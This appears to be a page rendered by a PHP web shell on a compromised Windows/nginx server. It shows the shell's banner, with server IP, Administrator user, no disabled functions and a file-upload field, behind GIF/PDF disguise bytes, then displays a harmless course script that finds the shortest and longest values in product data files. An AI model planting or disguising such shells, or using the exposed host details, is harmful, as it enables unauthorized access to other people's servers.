GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST2146/_Archive/Final/ |
Upload File : |
<? // LongShort.php $TRACK = "<b>".basename(__FILE__)."</b> (".__FILE__.")\n<ol>\n"; if (strstr($_ENV['Path'],";")) { $s = ";"; } else { $s = ":"; } ini_set('include_path',"/Data_WWW/CST/$s".ini_get('include_path')); // ** Add the DOCUMENT_ROOT to the include_path. $skipAuthentication = true; $authorizedGroups="PUBLIC"; $skipAuthentication = true; include('Application.phpinc'); set_time_limit(10000); $headTitle = 'LongShort'; $pageTitle = 'LongShort'; if (isset($_SERVER['SERVER_NAME'])) { $thisFile = __FILE__; include('common/pageHeader.phpinc'); } if (isset($_SERVER['SERVER_NAME'])) { echo "<br><b>See the botom of the page for the Long / short analysis.</b><br><br>\n"; } else { echo "See the botom of the output for the Long / short analysis.\n\n"; } $fileResult = "product-list-1.txt,product-list-2.txt,product-list-3.txt,product-list-4.txt,product-list-5.txt,product-list-6.txt"; $productCount = 0; $productMax = array(); $productMin = array(); $productNull = array(); $fileArray = split(",",$fileResult); foreach($fileArray as $thisFile) { if (isset($_SERVER['SERVER_NAME'])) { echo "<b>\$thisFile=",$thisFile,"</b><br>\n"; } else { echo "\$thisFile=",$thisFile,"\n"; } $productData_fh = fopen($thisFile, 'r'); while (($productLine = fgets($productData_fh)) && $productCount < 10000) { $productCount++; /* * / if (isset($_SERVER['SERVER_NAME'])) { echo $productCount,": <b>\$productLine=",htmlView($productLine),"</b><br>\n"; } else { echo $productCount,": \$productLine=",$productLine,"\n"; } /* */ if (isset($_SERVER['SERVER_NAME'])) { echo $productCount," "; } else { echo $productCount,"\n"; } $productData = split("\t",$productLine); #echo count($productData),"\n"; if ($productCount == 1) { for ($i=0; $i<count($productData); $i++) { $productMax[$i] = ''; $productMin[$i] = 'filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler filler '; $productNull[$i] = 0; } } /* */ if (strlen($productData[0]) == 0) { foreach ($productData as $thisData) { if (isset($_SERVER['SERVER_NAME'])) { echo "[",htmlView($thisData),"]<br>\n"; } else { echo "[",$thisData,"]\n"; } } } /* */ for ($i=0; $i<count($productData); $i++) { $productData[$i] = trim($productData[$i]); if (strlen($productData[$i]) != 0) { if (strlen($productData[$i]) > strlen($productMax[$i])) { $productMax[$i] = $productData[$i]; } if (strlen($productData[$i]) < strlen($productMin[$i])) { $productMin[$i] = $productData[$i]; } } else { $productNull[$i]++; } } } if (isset($_SERVER['SERVER_NAME'])) { echo "<br><br>\n"; } else { echo "\n"; } fclose($productData_fh); } if (isset($_SERVER['SERVER_NAME'])) { echo "<br><br>\n"; echo "<b>Shortest data example:</b><br>\n"; for ($i=0; $i<count($productData); $i++) { echo $i,": [",htmlView($productMin[$i]),"]<br>\nlength=",strlen($productMin[$i])," with ",$productNull[$i]," nulls.<br>\n"; } echo "<br>\n"; echo "<b>Longest data example:</b><br>\n"; for ($i=0; $i<count($productData); $i++) { echo $i,": [",htmlView($productMax[$i]),"]<br>\nlength=",strlen($productMax[$i]),".<br>\n"; } } else { echo "\n"; echo "Shortest data example:\n"; for ($i=0; $i<count($productData); $i++) { echo $i,": [",$productMin[$i],"]\nlength=",strlen($productMin[$i])," with ",$productNull[$i]," nulls.\n"; } echo "\n"; echo "Longest data example:\n"; for ($i=0; $i<count($productData); $i++) { echo $i,": [",$productMax[$i],"\nlength=",strlen($productMax[$i]),".\n"; } } if (isset($_SERVER['SERVER_NAME'])) { $thisFile = __FILE__; include('common/pageFooter.phpinc'); } ?>